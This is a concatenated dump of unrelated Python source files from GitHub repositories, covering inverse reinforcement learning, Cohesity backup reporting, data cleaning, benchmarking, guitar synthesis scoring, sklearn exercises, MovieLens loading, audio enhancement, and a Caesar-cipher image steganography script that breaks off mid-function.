mh_ratio = self._mh_ratio(r_mean, r_new, QE, QE_new, QPi, QPi_new)\n            accept_probability = min(1, mh_ratio)\n            if self._tempered:\n                accept_probability = min(1, mh_ratio) ** self._cooling(step)\n\n            if accept_probability > uniform(0, 1):\n                r_mean = self._iterative_reward_mean(r_mean, r_new, step)\n                self.data['accept_ratios'].append(1)\n\n            # - handling sample burning\n            if step > burn_point:\n                self.data['trace'].append(r_mean)\n                self.data['walk'].append(r_new)\n\n            if step % 10 == 0:\n                print('It: %s, R: %s, R_mean: %s' % (step, r_new, r_mean))\n            # self.debug('It: %s, R: %s, R_mean: %s' % (step, r_new, r_mean))\n\n        self.data['iter_rewards'].append(r_mean)\n        return r_mean\n\n    def _mh_ratio(self, r, r_new, QE, QE_new, QPi, QPi_new):\n        \"\"\" Compute the Metropolis-Hastings acceptance ratio\n\n        Given a new reward (weights), MH ratio is used to determine whether or\n        not to accept the reward sample.\n\n        Parameters\n        -----------\n        r : array-like, shape (reward-dim)\n            Current reward\n        r_new : array-like, shape (reward-dim)\n            New reward sample from the MCMC walk\n        QE : array-like\n            Quality of the expert trajectories based on reward ``r``\n        QE_new : array-like\n            Quality of the expert trajectories based on reward ``r_new``\n        QPi : array-like\n            Quality of the generated trajectories based on reward ``r``\n        QPi_new : array-like\n            Quality of the generated trajectories based on reward ``r_new``\n\n        Returns\n        --------\n        mh_ratio : float\n            The ratio corresponding to :math:`P(r_n|O) / P(r|O) x P(r_n)/P(r)`\n\n        \"\"\"\n        # - initialize reward posterior distribution to log priors\n        p_new = np.sum(self._prior.log_p(r_new))\n        p = np.sum(self._prior.log_p(r))\n\n        # - log-likelihoods\n        z = []\n        for q_e in QE:\n            for QP_i in QPi:\n                for q_i in QP_i:\n                    z.append(self._beta * (q_i - q_e))\n        lk = -logsumexp(z)\n\n        z_new = []\n        for q_e_new in QE_new:\n            for QP_i_new in QPi_new:\n                for q_i_new in QP_i_new:\n                    z_new.append(self._beta * (q_i_new - q_e_new))\n        lk_new = -logsumexp(z_new)\n\n        mh_ratio = (lk_new + p_new) / (lk + p)\n        return mh_ratio\n\n    def _iterative_reward_mean(self, r_mean, r_new, step):\n        \"\"\" Iterative mean reward\n\n        Compute the iterative mean of the reward using the running mean\n        and a new reward sample\n\n        \"\"\"\n        r_mean = [((step - 1) / float(step)) * m_r + 1.0 / step * r\n                  for m_r, r in zip(r_mean, r_new)]\n        return np.array(r_mean)\n\n    def _cooling(self, step):\n        \"\"\" Tempering \"\"\"\n        return 5 + step / 50.0\n","repo_name":"amoliu/scalable-irl","sub_path":"sirl/algorithms/birl/iterative_birl.py","file_name":"iterative_birl.py","file_ext":"py","file_size_in_byte":18080,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"73751350878","text":"#!/usr/bin/env python\n\"\"\"Active Snapshots Report for python\"\"\"\n\n### import pyhesity wrapper module\nfrom pyhesity import *\nimport codecs\nimport os\nimport smtplib\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\nfrom email.mime.base import MIMEBase\nfrom email import encoders\n\n### command line arguments\nimport argparse\nparser = argparse.ArgumentParser()\nparser.add_argument('-v', '--vip', type=str, default='helios.cohesity.com')\nparser.add_argument('-u', '--username', type=str, default='helios')\nparser.add_argument('-d', '--domain', type=str, default='local')\nparser.add_argument('-c', '--clustername', type=str, default=None)\nparser.add_argument('-mcm', '--mcm', action='store_true')\nparser.add_argument('-i', '--useApiKey', action='store_true')\nparser.add_argument('-pwd', '--password', type=str, default=None)\nparser.add_argument('-np', '--noprompt', action='store_true')\nparser.add_argument('-m', '--mfacode', type=str, default=None)\nparser.add_argument('-n', '--pagesize', type=int, default=1000)\nparser.add_argument('-y', '--days', type=int, default=None)\nparser.add_argument('-e', '--environment', type=str, action='append')\nparser.add_argument('-x', '--excludeenvironment', type=str, action='append')\nparser.add_argument('-o', '--outputpath', type=str, default='.')\nparser.add_argument('-l', '--localonly', action='store_true')\nparser.add_argument('-ms', '--mailserver', type=str)\nparser.add_argument('-mp', '--mailport', type=int, default=25)\nparser.add_argument('-to', '--sendto', action='append', type=str)\nparser.add_argument('-fr', '--sendfrom', type=str)\n\nargs = parser.parse_args()\n\nvip = args.vip\nusername = args.username\ndomain = args.domain\nclustername = args.clustername\nmcm = args.mcm\nuseApiKey = args.useApiKey\npassword = args.password\nnoprompt = args.noprompt\nmfacode = args.mfacode\npagesize = args.pagesize\ndays = args.days\nenvironment = args.environment\nexcludeenvironment = args.excludeenvironment\noutputpath = args.outputpath\nlocalonly = args.localonly\nmailserver = args.mailserver\nmailport = args.mailport\nsendto = args.sendto\nsendfrom = args.sendfrom\n\n# authenticate\napiauth(vip=vip, username=username, domain=domain, password=password, useApiKey=useApiKey, helios=mcm, prompt=(not noprompt), mfaCode=mfacode)\n\n# if connected to helios or mcm, select access cluster\nif mcm or vip.lower() == 'helios.cohesity.com':\n    if clustername is not None:\n        heliosCluster(clustername)\n    else:\n        print('-clustername is required when connecting to Helios or MCM')\n        exit()\n\n# exit if not authenticated\nif apiconnected() is False:\n    print('authentication failed')\n    exit(1)\n\nenvironments = ['Unknown', 'VMware', 'HyperV', 'SQL', 'View', 'Puppeteer', 'Physical',\n                'Pure', 'Azure', 'Netapp', 'Agent', 'GenericNas', 'Acropolis', 'PhysicalFiles',\n                'Isilon', 'KVM', 'AWS', 'Exchange', 'HyperVVSS', 'Oracle', 'GCP', 'FlashBlade',\n                'AWSNative', 'VCD', 'O365', 'O365Outlook', 'HyperFlex', 'GCPNative', 'AzureNative',\n                'AD', 'AWSSnapshotManager', 'GPFS', 'RDSSnapshotManager', 'Unknown', 'Kubernetes',\n                'Nimble', 'AzureSnapshotManager', 'Elastifile', 'Cassandra', 'MongoDB', 'HBase',\n                'Hive', 'Hdfs', 'Couchbase', 'AuroraSnapshotManager', 'O365PublicFolders', 'UDA',\n                'O365Teams', 'O365Group', 'O365Exchange', 'O365OneDrive', 'O365Sharepoint', 'Sfdc',\n                'Unknown', 'Unknown', 'Unknown', 'Unknown', 'Unknown', 'Unknown', 'Unknown']\n\ncluster = api('get', 'cluster')\noutfileName = os.path.join(outputpath, 'activeSnapshots-%s.csv' % cluster['name'])\n\nif days is not None:\n    daysBackUsecs = timeAgo(days, 'days')\n\nf = codecs.open(outfileName, 'w', 'utf-8')\nf.write('\"Cluster Name\",\"Job Name\",\"Job Type\",\"Source Name\",\"Object Name\",\"SQL AAG Name\",\"Active Snapshots\",\"Oldest Snapshot\",\"Newest Snapshot\"\\n')\n\netail = ''\nif environment is not None and len(environment) > 0:\n    etail = '&entityTypes=%s' % ','.join(environment)\n\nif excludeenvironment is not None and len(excludeenvironment) > 0:\n    excludeenvironment = [e.lower() for e in excludeenvironment]\n\n### find recoverable objects\njobs = sorted(api('get', 'protectionJobs?allUnderHierarchy=true'), key=lambda job: job['name'].lower())\n\nif localonly is True:\n    jobs = [j for j in jobs if 'isActive' not in j or j['isActive'] is not False]\n\nfor job in jobs:\n    tenantTail = ''\n    if 'tenantId' in job:\n        tenantTail = '&tenantId=%s' % job['tenantId']\n    if excludeenvironment is None or len(excludeenvironment) == 0 or (job['environment'].lower() not in excludeenvironment and job['environment'][1:].lower() not in excludeenvironment):\n\n        startfrom = 0\n        ro = api('get', '/searchvms?allUnderHierarchy=true&jobIds=%s&size=%s&from=%s%s%s' % (job['id'], pagesize, startfrom, etail, tenantTail))\n        if len(ro) > 0:\n            while True:\n                if 'vms' in ro:\n                    ro['vms'].sort(key=lambda obj: obj['vmDocument']['jobName'])\n                    for vm in ro['vms']:\n                        doc = vm['vmDocument']\n                        jobId = doc['objectId']['jobId']\n                        jobName = doc['jobName']\n                        objName = doc['objectName']\n                        objType = environments[doc['registeredSource']['type']]\n                        objSource = doc['registeredSource']['displayName']\n                        objAlias = ''\n                        sqlAagName = ''\n                        if 'sqlEntity' in doc['objectId']['entity'] and 'dbAagName' in doc['objectId']['entity']['sqlEntity']:\n                            sqlAagName = doc['objectId']['entity']['sqlEntity']['dbAagName']\n                        if 'objectAliases' in doc:\n                            objAlias = doc['objectAliases'][0]\n                            if objAlias == objName + '.vmx':\n                                objAlias = ''\n                            if objType == 'VMware':\n                                objAlias = ''\n                        if objType == 'View':\n                            objSource = ''\n\n                        if objAlias != '':\n                            sourceName = objAlias\n                        else:\n                            sourceName = objSource\n\n                        versions = sorted(doc['versions'], key=lambda s: s['instanceId']['jobStartTimeUsecs'])\n                        if days is not None:\n                            versions = [v for v in versions if v['instanceId']['jobStartTimeUsecs'] >= daysBackUsecs]\n                        versionCount = len(versions)\n                        if versionCount > 0:\n                            oldestSnapshotDate = usecsToDate(versions[0]['instanceId']['jobStartTimeUsecs'])\n                            newsetSnapshotDate = usecsToDate(versions[-1]['instanceId']['jobStartTimeUsecs'])\n                        else:\n                            oldestSnapshotDate = ''\n                            newsetSnapshotDate = ''\n                        print(\"%s (%s) %s: %s\" % (jobName, objType, objName, versionCount))\n                        f.write('\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\"\\n' % (cluster['name'], jobName, objType, sourceName, objName, sqlAagName, versionCount, oldestSnapshotDate, newsetSnapshotDate))\n                if ro['count'] > (pagesize + startfrom):\n                    startfrom += pagesize\n                    ro = api('get', '/searchvms?allUnderHierarchy=truejobIds=%s&size=%s&from=%s%s%s' % (job['id'], pagesize, startfrom, etail, tenantTail))\n                else:\n                    break\nf.close()\n\nif mailserver is not None and sendto is not None and sendfrom is not None:\n    msg = MIMEMultipart()\n    msg['From'] = sendfrom\n    msg['To'] = ', '.join(sendto)\n    msg['Subject'] = \"active snapshots report for %s\" % cluster['name']\n    body = \"active snapshots report for %s\\n\\n\" % cluster['name']\n    msg.attach(MIMEText(body, 'plain'))\n    filename = 'activeSnapshots-%s.csv' % cluster['name']\n    attachment = open(outfileName, \"rb\")\n    part = MIMEBase('application', 'octet-stream')\n    part.set_payload((attachment).read())\n    encoders.encode_base64(part)\n    part.add_header('Content-Disposition', \"attachment; filename= %s\" % filename)\n    msg.attach(part)\n    smtp = smtplib.SMTP(mailserver, mailport)\n    smtp.sendmail(sendfrom, sendto, msg.as_string())\n    print('\\nSending email report to %s\\n' % ', '.join(sendto))\n","repo_name":"cohesity/community-automation-samples","sub_path":"reports/python/activeSnapshots/activeSnapshots.py","file_name":"activeSnapshots.py","file_ext":"py","file_size_in_byte":8465,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"51"}
+{"seq_id":"31733360991","text":"import pandas as pd\nimport numpy as np\n\nclass replace_outlier():\n\n    def __init__(self):\n        pass\n\n    def outlier_index(self, row):\n        q75, q25 = np.percentile(row, [75,25])\n        iqr = q75 - q25\n\n        lower_bound = q25 - (iqr * 1.5)\n        upper_bound = q75 + (iqr * 1.5)\n\n        outlier_index = np.where((row > upper_bound) | (row < lower_bound))[0]\n\n        return outlier_index\n\n    def display_outliers(self, row):\n        return [row[i] for i in self.outlier_index(row)]\n\n    def replace_outliers(self, df):\n        num_rows = df.shape[0]\n        for row in range(num_rows):\n            row_in_df = df.ix[row, :].tolist()\n            outlier_index = self.outlier_index(row_in_df)\n\n            if len(outlier_index) != 0:\n                for index in outlier_index:\n                    df.ix[row, index] = np.round(np.mean(row_in_df),2)\n                    print(df.ix[row, index])\n            else:\n                continue\n\n        return df\n\n\nif __name__ == '__main__':\n    train_df = pd.read_csv(\"Training_new_format_mean.csv\",)\n\n    train_df_models = train_df[['model_1','model_2','model_3','model_4','model_5','model_6','model_7',\n                               'model_8','model_9','model_10']]\n    train_df_others = train_df[['mean', 'max', 'min','xid', 'yid', 'date_id', 'hour','target']]\n\n    outliered_train_df_models = replace_outlier().replace_outliers(train_df_models)\n\n    outliered_train_df = pd.concat([outliered_train_df_models, train_df_others], axis=1)\n\n    #outliered_train_df.to_csv(\"Training_replace_with_mean.csv\", index=False)\n","repo_name":"CapSOSkw/Ali-Clound","sub_path":"replace_outlier.py","file_name":"replace_outlier.py","file_ext":"py","file_size_in_byte":1574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"41795639469","text":"'''\nhopefully this could recompile stuff, switch branches and so on\n'''\n\nimport json\n\nimport git\n\nimport subprocess\n\nfrom getpass import getpass\n\nimport pandas as pd\n\ndef run_benchmark() -> dict[str:dict[str:any]]:\n    '''\n    run_benchmark shall execute all the benchmark\n    '''\n    RUN_BENCHMARK_CMD = 'python3 run_benchmark.py'.split()\n    cmd = subprocess.run(\n        RUN_BENCHMARK_CMD, stdout=subprocess.PIPE, stderr=subprocess.PIPE, encoding=\"ascii\",\n    )\n    result = cmd.stdout\n    #print(result)\n    benchmark_result = json.loads(result)\n    return benchmark_result\n\n\ndef checkout_and_install(branch_name : str, repo : git.Repo, psw : str):\n    branch = repo.heads[branch_name]\n    branch.checkout()\n    cmd = subprocess.run(\n        INSTALL_CMD_SUDO, stdout=subprocess.PIPE, stderr=subprocess.PIPE, input=psw, encoding=\"ascii\",\n    )\n    #print(cmd.stdout)\n\ndef benchmark_branch(branch_name : str, repo : git.Repo, psw : str) -> dict[str:dict[str:any]]:\n    checkout_and_install(branch_name, repo, psw)\n    return run_benchmark()\n\npsw = getpass(\"password: \")\n\nREPO_PATH = '/home/nuc/cod/projs/similarity_measures'\n\nMASTER_HEAD = 'master'\nCYTHON_HEAD = 'feature/cython_3_0'\n\nINSTALL_CMD = 'python3 -m pip install /home/nuc/cod/projs/similarity_measures'.split()\nINSTALL_CMD_SUDO = ['sudo'] + INSTALL_CMD\n\nrepo = git.Repo(REPO_PATH)\n\nprint('running benchmarks for master branch')\nmaster_result = benchmark_branch(MASTER_HEAD, repo, psw)\n\nprint('running benchmarks for cython branch')\ncython_result = benchmark_branch(CYTHON_HEAD, repo, psw)\n\ncommon_keys = set(master_result.keys()).intersection(set(cython_result.keys()))\n\nto_be_df = list()\nfor key in common_keys:\n    avg = master_result[key]['avg']\n    cy_avg = cython_result[key]['avg']\n    entry = {\n        'benchmark_name' : key,\n        'master_avg' : avg,\n        'cython_avg' : cy_avg\n    }\n    entry['improv'] = (avg - cy_avg) / avg * 100\n    to_be_df.append(entry)\n\ndf = pd.DataFrame(to_be_df)\ndf.to_csv('comparison.csv', index=False)","repo_name":"nucccc/benchmark_similarity_measures","sub_path":"orchestrate_benchmarks.py","file_name":"orchestrate_benchmarks.py","file_ext":"py","file_size_in_byte":2006,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"37417239571","text":"from nesstools import guitar\n\n#______________________________________________________________________\n#_____USING THE NESSTOOLS PYTHON MODULE WITH THE NESS PHYSICAL MODELS_________\n\n# These examples show you how to generate score and instrument files for the NESS physical models, using the nesstools Python module\n# To run the script, open a terminal, locate the script and type \"python gtr_example1.py\"\n# This will create a score file and an instrument file in the \"ness_files_to_process\" folder\n# Upload these files to https://ness-frontend.eca.ed.ac.uk/ to create audio files\n# You will need to register for an account:\n# 1) Register for an EASE Friend account with the University of Edinburgh: https://www.ease.ed.ac.uk/friend/\n# 2) Then email the NESS team synthesis@epcc.ed.ac.uk, including your EASE username (usually your email address) in the email.  You will then be added to the user access list for the NESS web UI\n\n\n# *************************************\n# Working with additional pluck parameters\n# GuitarScore.pluck() function\n# (1) specify simple string num and time\n# (2) additionally specify the pluck position (0-1), glide time (seconds) and finger force (Newtons)\n# *************************************\n\n\n# Global Parameters\nstringCount = 2\nT = 10\t\t\t\t\t# total time\n\n\n#________________________________________\n#_____CREATE THE SCORE FILE_________\n\n# Create a score object, specifying the total duration (T) and the string count (numberOfStrings)\nmy_score = guitar.GuitarScore(T, stringCount)       \n\n\n# (1) create a pluck on a particular string at a particular time\nmy_score.pluck( 1, 1 )\n\n# create another pluck on a particular string at a particular time, with a given position, duration and force\n# here we set the parameters as variables and then use the variables inside the pluck command\nstring = 2\t\t\t# pluck the first string (lowest, rather than highest)\ntime = 2\t\t\t# pluck at 1 second in the score\n\n# (2) optional extra parameters for position (default=0.8)\npluckPosition = 0.95\t\t# pluck 80% of the way from the nut to the bridge\npluckDuration = 0.0005\t# pluck duration in seconds - the duration of the force on the string\npluckForce = 0.05\t\t# pluck force in Newtons\n\nmy_score.pluck( string, time, pluckPosition, pluckDuration, pluckForce )\n\nmy_score.pluck( string, 3, 0.8, pluckDuration, pluckForce )\nmy_score.pluck( string, 4, 0.55, pluckDuration, pluckForce )\n\n# explort the score as a NESS-compatible score file\nmy_score.write(\"ness_files_to_process/example2_basic_score.m\")\n\n\n\n#________________________________________\n#_____CREATE THE INSTRUMENT FILE_________\n\n# create a string instrument object with 2 strings\nmy_guitar = guitar.StringInstrument(stringCount)\nmy_guitar.defaultGuitar()\nmy_guitar.write(\"ness_files_to_process/example2_basic_guitar.m\")","repo_name":"tommmmudd/ness-tools","sub_path":"gtr_score_2_more_plucks.py","file_name":"gtr_score_2_more_plucks.py","file_ext":"py","file_size_in_byte":2787,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"75445253279","text":"diccionario = {'Seguridad Informática': 0, 'Desarrollo Web': 0, 'Redes Avanzadas': 0}\ncreditos = 0\n\nfor key in diccionario:\n    diccionario[key] = input(\"Introducir el credito de \" + key + \" : \")\n\nfor key in diccionario:\n    print(\"La asignatura \" + key + \" tiene \" + diccionario[key] + \" creditos.\")\n    creditos += int(diccionario[key])\n\nprint(\"Total de creditos: \" + str(creditos))","repo_name":"daniel1rosso/seguridadinformatica","sub_path":"TP2/12.py","file_name":"12.py","file_ext":"py","file_size_in_byte":385,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"22270382150","text":"print(\"DIBUJA UN CUADRO DE ASTERISCOS\")\n\ncomprobar = True\n\nwhile comprobar == True:\n    n = int(input(\"Ingrese un numero entero y dibuje su cuadro: \"))\n    if n > 0:\n      for i in range(n,n+n):\n          for j in range(n,n+n):\n            print(\"*\",end=' ')\n          print(\"\")\n\n      comprobar = False\n\n    else:\n      print(\"El numero ingresado no es correcto. Intentelo de nuevo\")\n","repo_name":"GitBis/-FP-_Labo06_-00370819-","sub_path":"Cuadro_de_asteriscos.py","file_name":"Cuadro_de_asteriscos.py","file_ext":"py","file_size_in_byte":385,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"35489943296","text":"# import matplotlib.pyplot as plt\n# import numpy as np\n#\n#\n# def sigmoid(h):\n#     return 1.0 / (1.0 + np.exp(-h))\n#\n#\n# h = np.arange(-10, 10, 0.1)\n# s_h = sigmoid(h)\n# plt.plot(h, s_h)\n# plt.axvline(0.0, color='k')\n# plt.axhspan(0.0, 1.0, facecolor='1.0', alpha=1.0, ls='dotted')\n# plt.axhline(y=0.5, ls='dotted', color='k')\n# plt.yticks([0.5, 0.5, 1.0])\n# plt.ylim(-0.1, 1.1)\n# plt.xlabel('h')\n# plt.ylabel('$S(h)$')\n# plt.title('sigmoid func')\n# plt.show()\n\n\n\nimport pandas as pd\nimport numpy  as np\nimport matplotlib.pyplot as plt\nfrom  sklearn import datasets\nfrom  sklearn.cross_validation import train_test_split\nfrom sklearn.linear_model import Perceptron\nfrom sklearn.preprocessing import StandardScaler\nfrom  sklearn.metrics import accuracy_score\n\niris = datasets.load_iris()\nX = iris.data[:, [2, 3]]\ny = iris.target\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=0)\nsc = StandardScaler()\nsc.fit(X_train)\nsc.mean_\nsc.scale_\nX_train_std = sc.transform(X_train)\nX_test_std = sc.transform(X_test)\nppn = Perceptron(n_iter=40, eta0=0.1, random_state=0)\n# n_iter：可以理解成梯度下降中迭代的次数\n# eta0：可以理解成梯度下降中��学习率\n# random_state：设置随机种子的，为了每次迭代都有相同的训练集顺序\n\nppn.fit(X_train_std, y_train)\ny_pred = ppn.predict(X_test_std)\nprint( accuracy_score(y_test, y_pred))\n\n#序列化\nimport pickle\n# f=open('Perceptron_Model.txt', 'wb')\n# pickle.dump(ppn,f)\n# f.close()\n\n#反序列化\n# f = open('Perceptron_Model.txt', 'rb')\n# d = pickle.load(f)\n# f.close()\n# y_pred1 = d.predict( X_test_std )\n# print(accuracy_score(y_test, y_pred1))\n\n\n\nX_combined_std = np.vstack((X_train_std, X_test_std))\ny_combined = np.hstack((y_train, y_test))\n\nfrom sklearn.linear_model import LogisticRegression\nlr=LogisticRegression(C=1000.0,random_state=0)\nlr.fit(X_train_std, y_train)\nprint(lr.predict_proba(X_test_std[0,:]))\n\nfrom mlxtend.plotting import plot_decision_regions\n\nplot_decision_regions(X_combined_std, y_combined,lr)\nplt.xlabel('petal length [standardized]')\nplt.ylabel('petal width [standardized]')\nplt.legend(loc='upper left')\n\n\n\n\n\n#=====================================================================================================\n#第三章\n\nimport matplotlib.pyplot as plt\nfrom matplotlib.font_manager import FontProperties\nfont = FontProperties(fname=r\"c:\\windows\\fonts\\msyh.ttc\",size=10)\n\ndef runplt():\n    plt.figure()\n    plt.title('匹萨价格与直径数据',fontproperties=font)\n    plt.xlabel('直径（英寸）', fontproperties=font)\n    plt.ylabel('价格（美元）', fontproperties=font)\n    plt.axis([0, 25, 0, 25])\n    plt.grid(True)\n    return plt\n\nplt=runplt()\nX = [[6], [8], [10], [14], [18]]\ny = [[7], [9], [13], [17.5], [18]]\nplt.plot(X,y,'k.')\nplt.show()\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"raoxl/pythonws","sub_path":"tt/sklearn_train.py","file_name":"sklearn_train.py","file_ext":"py","file_size_in_byte":2821,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"29296175256","text":"import numpy as np \nfrom get_meta import get_user_by_id,get_movie_by_id\nwith open(\"ratings_ordered.dat\", \"r\") as f:  # 打开文件\n    rating_data = f.readlines()  # 读取文件，每个基站读取的数据是不一样的，只包含自己的用户的部分\nm=6040 #人的个数\nn=3952 #电影的个数\nrating_nums=1000209 #打分的个数\n\n\ndef read_rating(s):\n    ans=s.split(\"::\")\n    return ans[0],ans[1],ans[2],ans[3] #UserID::MovieID::Rating::Timestamp\n\nclass my_rating:\n    def __init__(self,uid,movieid,rating,timestamp):\n        self.uid_=int(uid)\n        self.movieid_=int(movieid)\n        self.rating_=int(rating)\n        if(self.rating_>3):\n            self.rating_=1.0\n        else:\n            self.rating_=-1.0\n        self.timestamp_=int(timestamp)\n\nrating_list=[] #储存打分数据的list\nfor one in rating_data:\n    uid,movieid,rating,timestamp=read_rating(one)\n    rating_list.append(my_rating(uid,movieid,rating,timestamp))\n\n\nRatingMatrix=np.zeros((m,n),dtype=np.float32)\nfor one in rating_list:\n    RatingMatrix[one.uid_-1][one.movieid_-1]=one.rating_\n\ndef get_train_data(index : list) -> list: #输入一个序号 序号对应的rating.dat(ratings_ordered)中的训练数据，支持批量\n    train_data=list()\n    for one_index in index:\n        one_data=dict()\n        rating=rating_list[one_index]\n        one_data[\"rij\"]=rating.rating_\n        one_data[\"x\"]=get_user_by_id(rating.uid_).vector_\n        one_data[\"y\"]=get_movie_by_id(rating.movieid_).vector_\n        one_data[\"su\"]=RatingMatrix[rating.uid_-1,::].reshape(1,n)\n        one_data[\"si\"]=RatingMatrix[::,rating.movieid_-1].reshape(1,m)\n        train_data.append(one_data)\n    return train_data\n\ndef BinarySearch(array:list(),t:int)->int: #二分查找\n    low = 0\n    height = len(array)-1\n    while low < height:\n        mid = int((low+height)/2)\n        if array[mid].timestamp_ < t:\n            low = mid + 1\n        elif array[mid].timestamp_ > t:\n            height = mid - 1\n        else:\n            return mid\n    return mid\n\ndef get_index_between_time(start:float,end:float): \n    #输入时间范围，最大范围0~1,是一个比例 返回训练数据里对应的索引范围\n    #再调用get_train_data即可获得训练数据\n    time_start=956703932\n    time_end=1046454590\n    start_time=int((time_end-time_start)*start+time_start)\n    end_time=int((time_end-time_start)*end+time_start)\n    return BinarySearch(rating_list,start_time),BinarySearch(rating_list,end_time)\n\n\n\ndef get_user_info(user_ids : list) -> list: #输入用户id的列表 返回该用户的x和su\n    ans=list()\n    for one_id in user_ids:\n        one_data=dict()\n        one_data[\"x\"]=get_user_by_id(one_id).vector_\n        one_data[\"su\"]=RatingMatrix[one_id-1,::].reshape(1,n)\n        ans.append(one_data)\n    return ans\n\n\ndef get_movie_info(movies_ids : list) -> list: #输入用户id的列表 返回该用户的x和su\n    ans=list()\n    for one_id in movies_ids:\n        one_data=dict()\n        if(get_movie_by_id(one_id)):\n            one_data[\"y\"]=get_movie_by_id(one_id).vector_\n            one_data[\"si\"]=RatingMatrix[::,one_id-1].reshape(1,m)\n            ans.append(one_data)\n        else:\n            ans.append(None)\n    return ans\n\n# all=1000207\n# index0,index1=get_index_between_time(0.202,1)\n# print((index1-index0)/(all+0.0))","repo_name":"caoqiming/PreCacheBuffer_PythonScript","sub_path":"data_preprocess.py","file_name":"data_preprocess.py","file_ext":"py","file_size_in_byte":3317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"44112609180","text":"import random\nimport numpy as np\nimport soundfile as sf\nimport torch\nfrom audiosr import build_model, super_resolution\nfrom common.files_manager import FilesManager\n\nclass SpeechEnhancer:\n    def __init__(self) -> None:\n        self.sr = 48000\n        self.files_manager = FilesManager()\n        self.audiosr = build_model(model_name='speech', device=torch.device('cpu'))\n    \n    def process(self, input_audio):\n        seed = random.randint(0, 2**32 - 1)\n        waveform = super_resolution(\n            self.audiosr,\n            input_audio,\n            seed=seed,\n            guidance_scale=3.5,\n            ddim_steps=50,\n            latent_t_per_second=12.8\n        )\n        out_filename = self.files_manager.create_temp_file(suffix='.wav').name\n        out_wav = (waveform[0] * 32767).astype(np.int16).T\n        sf.write(out_filename, data=out_wav, samplerate=48000)\n\n        return out_filename","repo_name":"BrasD99/ShortsTranslator","sub_path":"common/speech_enhancer.py","file_name":"speech_enhancer.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"22246427701","text":"#!/usr/bin/env python\n\"\"\"\nConcealing Ciphered Text in Images\n\"\"\"\nimport argparse\nfrom PIL import Image\n\n\ndef encrypt(string: str, shift: int) -> str:\n    \"\"\"\n    encrypt\n    =======\n    Encodes a given string with the caesar cipher and returns the encoded\n    message\n    Parameters:\n    -----------\n    *   string: the plain-text that needs to be encoded\n    *   shift: the number of letters to shift the message by\n\n    Returns:\n    *   A string containing the encoded cipher-text\n    Doctests\n    ========\n    >>> encrypt('The quick brown fox jumps over the lazy dog', 8)\n    'bpm yCqks jzwEv nwF rCuxA wDmz Bpm tiHG lwo'\n    >>> encrypt('A very large key', 8000)\n    's nWjq dSjYW cWq'\n    \"\"\"\n    cipher = ''\n    for char in string:\n        if char == ' ':\n            cipher = cipher + char\n        elif  char.isupper():\n            cipher = cipher + chr((ord(char) + shift - 65) % 26 + 65)\n        else:\n            cipher = cipher + chr((ord(char) + shift - 97) % 26 + 97)\n    return cipher\n\ndef decrypt(string, shift):\n    \"\"\"\n    decrypt\n    =======\n    Decodes a given string of cipher-text and returns the decoded plain-text\n    Parameters:\n    -----------\n    *   string: the cipher-text that needs to be decoded\n    *   shift: the number of letters to shift the message backwards by to decode\n    Returns:\n    *   A string containing the decoded plain-text\n    Doctests\n    ========\n    >>> decrypt('bpm yCqks jzwEv nwF rCuxA wDmz Bpm tiHG lwo', 8)\n    'The quick brown fox jumps over the lazy dog'\n    >>> decrypt('s nWjq dSjYW cWq', 8000)\n    'A very large key'\n    \"\"\"\n    decipher = ''\n    for char in string:\n        if char == ' ':\n            decipher = decipher + char\n        elif  char.isupper():\n            decipher = decipher + chr((ord(char) - shift - 65) % 26 + 65)\n        else:\n            decipher = decipher + chr((ord(char) - shift - 97) % 26 + 97)\n    return decipher\n\n\n\n# Convert encoding data into 8-bit form using ASCII value of characters\ndef gen_data(data):\n    \"\"\"\n    gen_data\n    =======\n    Generates a list containing 8 bit binary representation of the data\n    Parameters:\n    -----------\n    *   data: the cipher-text that needs to converted to 8 bit binary strings\n    Returns:\n    *   A list containing the 8 bit binary strings\n    Doctests\n    ========\n    >>> gen_data('Tqxxa Iadxp')\n    ['01010100', '01110001', '01111000', '01111000', '01100001']\n    >>> gen_data('Iadxp')\n    ['01001001', '01100001', '01100100', '01111000', '01110000']\n    \"\"\"\n    # list of binary codes of given data\n    newdata = []\n\n    #Getting 8 bits bianry representation of the letters present in the string.\n    for i in data:\n        newdata.append(format(ord(i), '08b'))\n    return newdata\n\n\n# Pixels are modified according to the 8-bit binary data and finally returned\ndef alter_pixel(pix, data):\n    \"\"\"\n    alter_pixel\n    =======\n    Alters the pixel value of the image according to the data provided\n    Parameters:\n    -----------\n    *   pix: contents of the image as a sequence object containing pixel values\n    *   data: the ciphered string\n    Returns:\n    *   A tuple of triplet altered pixel values with the help of yield\n    Doctests\n    ========\n    >>> alter_pixel(cloneimg.getdata(), \"Tqxxa Iadxp\")\n    (100, 101, 100)\n    (77, 78, 77)\n    (54, 56, 54)\n    (86, 85, 85)\n    (65, 64, 66)\n    (46, 45, 46)\n    (106, 107, 105)\n    (89, 87, 88)\n    (72, 70, 72)\n    (102, 103, 103)\n    (75, 75, 76)\n    (50, 48, 48)\n    (70, 69, 67)\n    (54, 52, 52)\n    \"\"\"\n    datalist = gen_data(data)\n    lendata = len(datalist)\n    # The iter() function creates an object which can be iterated one element at a time.\n    iterdata = iter(pix)\n    for i in range(lendata):\n\n        # Extracting 3 pixels at a time\n        pix = [value for value in iterdata.__next__()[:3] 